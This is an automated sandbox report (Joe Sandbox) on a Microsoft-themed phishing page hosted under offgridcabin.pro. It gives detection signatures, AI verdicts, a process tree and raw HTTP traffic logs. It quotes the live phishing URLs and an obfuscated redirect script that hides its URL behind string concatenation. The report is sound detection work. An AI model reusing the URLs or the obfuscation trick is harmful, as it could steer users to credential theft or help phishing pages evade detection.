Edit tour

Windows Analysis Report
https://hv4q6nqj04o2dvm9n22jnhizw.offgridcabin.pro/JLSQqjDK

Overview

General Information

Sample URL:	https://hv4q6nqj04o2dvm9n22jnhizw.offgridcabin.pro/JLSQqjDK
Analysis ID:	1590283
Infos:

Detection

HTMLPhisher

Score:	60
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

AI detected phishing page

Yara detected HtmlPhish54

AI detected suspicious Javascript

HTML body contains low number of good links

HTML page contains string obfuscation

HTML title does not match URL

Uses insecure TLS / SSL version for HTTPS connection

Classification

Process Tree

System is w10x64

chrome.exe (PID: 4488 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank" MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 4340 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2576 --field-trial-handle=2496,i,10734926568364390931,855498172999670829,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 6556 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://hv4q6nqj04o2dvm9n22jnhizw.offgridcabin.pro/JLSQqjDK" MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

cleanup

Yara Signatures

HTML

Source	Rule	Description	Author
0.15.id.script.csv	JoeSecurity_HtmlPhish_54	Yara detected HtmlPhish_54	Joe Security
0.4.id.script.csv	JoeSecurity_HtmlPhish_54	Yara detected HtmlPhish_54	Joe Security
2.3.pages.csv	JoeSecurity_HtmlPhish_54	Yara detected HtmlPhish_54	Joe Security
2.4.pages.csv	JoeSecurity_HtmlPhish_54	Yara detected HtmlPhish_54	Joe Security
3.5.pages.csv	JoeSecurity_HtmlPhish_54	Yara detected HtmlPhish_54	Joe Security
3.6.pages.csv	JoeSecurity_HtmlPhish_54	Yara detected HtmlPhish_54	Joe Security
3.10.pages.csv	JoeSecurity_HtmlPhish_54	Yara detected HtmlPhish_54	Joe Security
3.8.pages.csv	JoeSecurity_HtmlPhish_54	Yara detected HtmlPhish_54	Joe Security
Click to see the 3 entries

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Phishing

AI detected phishing page

Source: https://hv4q6nqj04o2dvm9n22jnhizw.offgridcabin.pro/?auth=2&sso_reload=true	Joe Sandbox AI: Score: 9 Reasons: The brand 'Microsoft' is well-known and typically associated with the domain 'microsoft.com'., The provided URL 'hv4q6nqj04o2dvm9n22jnhizw.offgridcabin.pro' does not match the legitimate domain for Microsoft., The URL contains a random string and an unusual domain extension '.pro', which is not typically associated with Microsoft., The presence of input fields for 'Email, phone, or Skype' is common for phishing attempts targeting Microsoft accounts., The domain 'offgridcabin.pro' does not have any known association with Microsoft. DOM: 3.7.pages.csv
Source: https://hv4q6nqj04o2dvm9n22jnhizw.offgridcabin.pro/?auth=2&sso_reload=true	Joe Sandbox AI: Score: 9 Reasons: The brand 'Microsoft' is well-known and typically associated with the domain 'microsoft.com'., The provided URL 'hv4q6nqj04o2dvm9n22jnhizw.offgridcabin.pro' does not match the legitimate domain for Microsoft., The domain 'offgridcabin.pro' is unrelated to Microsoft and appears suspicious., The URL contains a random string 'hv4q6nqj04o2dvm9n22jnhizw', which is a common tactic in phishing to obscure the true nature of the site., The domain extension '.pro' is unusual for a Microsoft-related site, which typically uses '.com'. DOM: 3.8.pages.csv

Yara detected HtmlPhish54

Source: Yara match	File source: 0.15.id.script.csv, type: HTML
Source: Yara match	File source: 0.4.id.script.csv, type: HTML
Source: Yara match	File source: 2.3.pages.csv, type: HTML
Source: Yara match	File source: 2.4.pages.csv, type: HTML
Source: Yara match	File source: 3.5.pages.csv, type: HTML
Source: Yara match	File source: 3.6.pages.csv, type: HTML
Source: Yara match	File source: 3.10.pages.csv, type: HTML
Source: Yara match	File source: 3.8.pages.csv, type: HTML

AI detected suspicious Javascript

Source: 0.0.id.script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://hv4q6nqj04o2dvm9n22jnhizw.offgridcabin.pro... This script exhibits several high-risk behaviors, including the use of obfuscated URLs and redirecting to a suspicious domain. The combination of these factors suggests a high likelihood of malicious intent, potentially for phishing or other malicious activities.
Source: 0.19.id.script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://hv4q6nqj04o2dvm9n22jnhizw.offgridcabin.pro... This script demonstrates several high-risk behaviors, including redirecting the user to an unknown domain and potentially collecting sensitive information (session ID) without transparency. While the script may have a legitimate purpose, such as preventing unauthorized framing, the lack of context and the use of obfuscated code raise significant security concerns.
Source: 0.15.id.script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://hv4q6nqj04o2dvm9n22jnhizw.offgridcabin.pro... This script exhibits several high-risk behaviors, including dynamic code execution, data exfiltration, and redirects to suspicious domains. The use of obfuscated URLs and multiple fallback domains further increases the risk. While some context is provided, the overall behavior of this script is highly suspicious and indicative of malicious intent.
Source: 0.4.id.script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://hv4q6nqj04o2dvm9n22jnhizw.offgridcabin.pro... This script exhibits several high-risk behaviors, including data exfiltration, redirects to suspicious domains, and the use of obfuscated code/URLs. While some contextual factors, such as the use of trusted domains and potential analytics/telemetry functionality, may suggest legitimate intent, the overall risk profile is still high due to the presence of multiple malicious indicators.
Source: 2.8..script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://hv4q6nqj04o2dvm9n22jnhizw.offgridcabin.pro... This script demonstrates several high-risk behaviors, including dynamic code execution, data exfiltration, and redirects to potentially malicious domains. The script appears to be attempting to automatically fill in user credentials and submit a login form, which is a common phishing technique. Additionally, the script uses obfuscated code and base64 encoding, further raising suspicion. While the script may have a legitimate purpose, the overall behavior and implementation suggest a high risk of malicious intent.

Source: https://hv4q6nqj04o2dvm9n22jnhizw.offgridcabin.pro/?auth=2&sso_reload=true

HTTP Parser: Number of links: 0

Source: https://hv4q6nqj04o2dvm9n22jnhizw.offgridcabin.pro/JLSQqjDK

HTTP Parser: Found new string: script .turnstile.ready(function () {. turnstile.render('#cf-turnstile', {. sitekey: '0x4AAAAAAA4sf2kw7YnXl1bZ', // replace this with your own sitekey. callback: function(token) {. window.location.assign('h' + 't' + 't' + 'ps:' + '/' + '/' + 'h' + 'v4q' + '6' + 'nqj' + '04' + 'o2' + 'dvm' + '9' + 'n2' + '2' + 'j' + 'nhi' + 'zw.' + 'o' + 'f' + 'fgr' + 'i' + 'dc' + 'abi' + 'n' + '.pr' + 'o/' + 'J' + 'L' + 'SQq' + 'jDK' + '?' + 'g=h' + '5x' + 'UM2' + 'Q');. },. });. });...

Source: https://hv4q6nqj04o2dvm9n22jnhizw.offgridcabin.pro/?auth=2&sso_reload=true

HTTP Parser: Title: Sign in to your account does not match URL

Source: https://hv4q6nqj04o2dvm9n22jnhizw.offgridcabin.pro/?auth=2&sso_reload=true	HTTP Parser: Iframe src: https://5krws8ak62qxb0g1obajeynsc.offgridcabin.pro/Prefetch/Prefetch.aspx
Source: https://hv4q6nqj04o2dvm9n22jnhizw.offgridcabin.pro/?auth=2&sso_reload=true	HTTP Parser: Iframe src: https://5krws8ak62qxb0g1obajeynsc.offgridcabin.pro/Prefetch/Prefetch.aspx
Source: https://hv4q6nqj04o2dvm9n22jnhizw.offgridcabin.pro/?auth=2&sso_reload=true	HTTP Parser: Iframe src: https://5krws8ak62qxb0g1obajeynsc.offgridcabin.pro/Prefetch/Prefetch.aspx

Source: https://hv4q6nqj04o2dvm9n22jnhizw.offgridcabin.pro/?auth=2&sso_reload=true

HTTP Parser: <input type="password" .../> found

Source: https://hv4q6nqj04o2dvm9n22jnhizw.offgridcabin.pro/JLSQqjDK	HTTP Parser: No favicon
Source: https://hv4q6nqj04o2dvm9n22jnhizw.offgridcabin.pro/JLSQqjDK	HTTP Parser: No favicon
Source: https://hv4q6nqj04o2dvm9n22jnhizw.offgridcabin.pro/?auth=2	HTTP Parser: No favicon
Source: https://hv4q6nqj04o2dvm9n22jnhizw.offgridcabin.pro/?auth=2	HTTP Parser: No favicon
Source: https://hv4q6nqj04o2dvm9n22jnhizw.offgridcabin.pro/?auth=2&sso_reload=true	HTTP Parser: No favicon
Source: https://hv4q6nqj04o2dvm9n22jnhizw.offgridcabin.pro/?auth=2&sso_reload=true	HTTP Parser: No favicon

Source: https://hv4q6nqj04o2dvm9n22jnhizw.offgridcabin.pro/?auth=2&sso_reload=true	HTTP Parser: No <meta name="author".. found
Source: https://hv4q6nqj04o2dvm9n22jnhizw.offgridcabin.pro/?auth=2&sso_reload=true	HTTP Parser: No <meta name="author".. found
Source: https://hv4q6nqj04o2dvm9n22jnhizw.offgridcabin.pro/?auth=2&sso_reload=true	HTTP Parser: No <meta name="author".. found
Source: https://hv4q6nqj04o2dvm9n22jnhizw.offgridcabin.pro/?auth=2&sso_reload=true	HTTP Parser: No <meta name="author".. found

Source: https://hv4q6nqj04o2dvm9n22jnhizw.offgridcabin.pro/?auth=2&sso_reload=true	HTTP Parser: No <meta name="copyright".. found
Source: https://hv4q6nqj04o2dvm9n22jnhizw.offgridcabin.pro/?auth=2&sso_reload=true	HTTP Parser: No <meta name="copyright".. found
Source: https://hv4q6nqj04o2dvm9n22jnhizw.offgridcabin.pro/?auth=2&sso_reload=true	HTTP Parser: No <meta name="copyright".. found
Source: https://hv4q6nqj04o2dvm9n22jnhizw.offgridcabin.pro/?auth=2&sso_reload=true	HTTP Parser: No <meta name="copyright".. found

Source: unknown

HTTPS traffic detected: 173.222.162.64:443 -> 192.168.2.6:49815 version: TLS 1.0

Source: unknown	HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.6:49715 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.6:49743 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.6:49870 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.6:50036 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.6:50086 version: TLS 1.2

Source: unknown

HTTPS traffic detected: 173.222.162.64:443 -> 192.168.2.6:49815 version: TLS 1.0

Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253

Source: global traffic	HTTP traffic detected: GET /JLSQqjDK HTTP/1.1Host: hv4q6nqj04o2dvm9n22jnhizw.offgridcabin.proConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/font-awesome/6.0.0-beta3/css/all.min.css HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://hv4q6nqj04o2dvm9n22jnhizw.offgridcabin.prosec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: styleAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/api.js?render=explicit HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://hv4q6nqj04o2dvm9n22jnhizw.offgridcabin.pro/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/b/e0c90b6a3ed1/api.js HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://hv4q6nqj04o2dvm9n22jnhizw.offgridcabin.pro/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/b/e0c90b6a3ed1/api.js HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/iknh7/0x4AAAAAAA4sf2kw7YnXl1bZ/auto/fbE/normal/auto/ HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://hv4q6nqj04o2dvm9n22jnhizw.offgridcabin.pro/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=901845b24f0c41e0&lang=auto HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/iknh7/0x4AAAAAAA4sf2kw7YnXl1bZ/auto/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/cmg/1 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/iknh7/0x4AAAAAAA4sf2kw7YnXl1bZ/auto/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: hv4q6nqj04o2dvm9n22jnhizw.offgridcabin.proConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://hv4q6nqj04o2dvm9n22jnhizw.offgridcabin.pro/JLSQqjDKAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 0674-566a=1074fb27092c9300e074fcfa949edff2e2570334045a311e9071f64e0f26a999
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/cmg/1 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=901845b24f0c41e0&lang=auto HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/flow/ov1/1945116169:1736799371:oqWYrklheVvIxV4s1RanDCpHrsoCSPH0m2JWX3kpTuc/901845b24f0c41e0/Of3CPy62WbuABclT3jxmzybeUyjxGUg5boEL32X7soQ-1736801569-1.1.1.1-TDmdVZYLV4LqtnF4bTXyIP.U6R14yzywkyGQLLHcvQFOKkGEivFpN5pHtNnDJe8g HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/i/901845b24f0c41e0/1736801571844/u7iXOjb4XhZghDQ HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/iknh7/0x4AAAAAAA4sf2kw7YnXl1bZ/auto/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/i/901845b24f0c41e0/1736801571844/u7iXOjb4XhZghDQ HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/pat/901845b24f0c41e0/1736801571848/cf365ea1c3afd24d26056b01e163d9a36502b94f8ff1044e4aef3ed84ca9b8f8/nV1cmFnZwT9F_47 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveCache-Control: max-age=0sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/iknh7/0x4AAAAAAA4sf2kw7YnXl1bZ/auto/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/flow/ov1/1945116169:1736799371:oqWYrklheVvIxV4s1RanDCpHrsoCSPH0m2JWX3kpTuc/901845b24f0c41e0/Of3CPy62WbuABclT3jxmzybeUyjxGUg5boEL32X7soQ-1736801569-1.1.1.1-TDmdVZYLV4LqtnF4bTXyIP.U6R14yzywkyGQLLHcvQFOKkGEivFpN5pHtNnDJe8g HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /JLSQqjDK?g=h5xUM2Q HTTP/1.1Host: hv4q6nqj04o2dvm9n22jnhizw.offgridcabin.proConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-Dest: documentReferer: https://hv4q6nqj04o2dvm9n22jnhizw.offgridcabin.pro/JLSQqjDKAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 0674-566a=1074fb27092c9300e074fcfa949edff2e2570334045a311e9071f64e0f26a999; x-ms-gateway-slice=estsfd
Source: global traffic	HTTP traffic detected: GET /?auth=2 HTTP/1.1Host: hv4q6nqj04o2dvm9n22jnhizw.offgridcabin.proConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://hv4q6nqj04o2dvm9n22jnhizw.offgridcabin.pro/JLSQqjDKAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 0674-566a=1074fb27092c9300e074fcfa949edff2e2570334045a311e9071f64e0f26a999; x-ms-gateway-slice=estsfd
Source: global traffic	HTTP traffic detected: GET /s/1074fb27092c9300e074fcfa949edff2e2570334045a311e9071f64e0f26a999/8f2420ea4a9ef1f09cf039a427ec755182725ef82125633936a0b7b83a6f0a53.js HTTP/1.1Host: hv4q6nqj04o2dvm9n22jnhizw.offgridcabin.proConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://hv4q6nqj04o2dvm9n22jnhizw.offgridcabin.pro/?auth=2Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 0674-566a=1074fb27092c9300e074fcfa949edff2e2570334045a311e9071f64e0f26a999; x-ms-gateway-slice=estsfd; esctx-dBsMBhShlY8=AQABCQEAAADW6jl31mB3T7ugrWTT8pFeWzs6_Kevth9Uy4a-ZdD6qSVKHVb6mOfJp2xsDQsIfcErZmLI3Een2tQGj3NjtXpn1mm4wQLuCuKw2q7O0IXwAl1FOoznYSxDeOhFonwsUJ0_1IVgcL75xhVvJGKSseGOAza9hIcaH0JkUo4uGBjd6CAA; fpc=AmlwFQZQ3GVBg66ic6MZS6c; 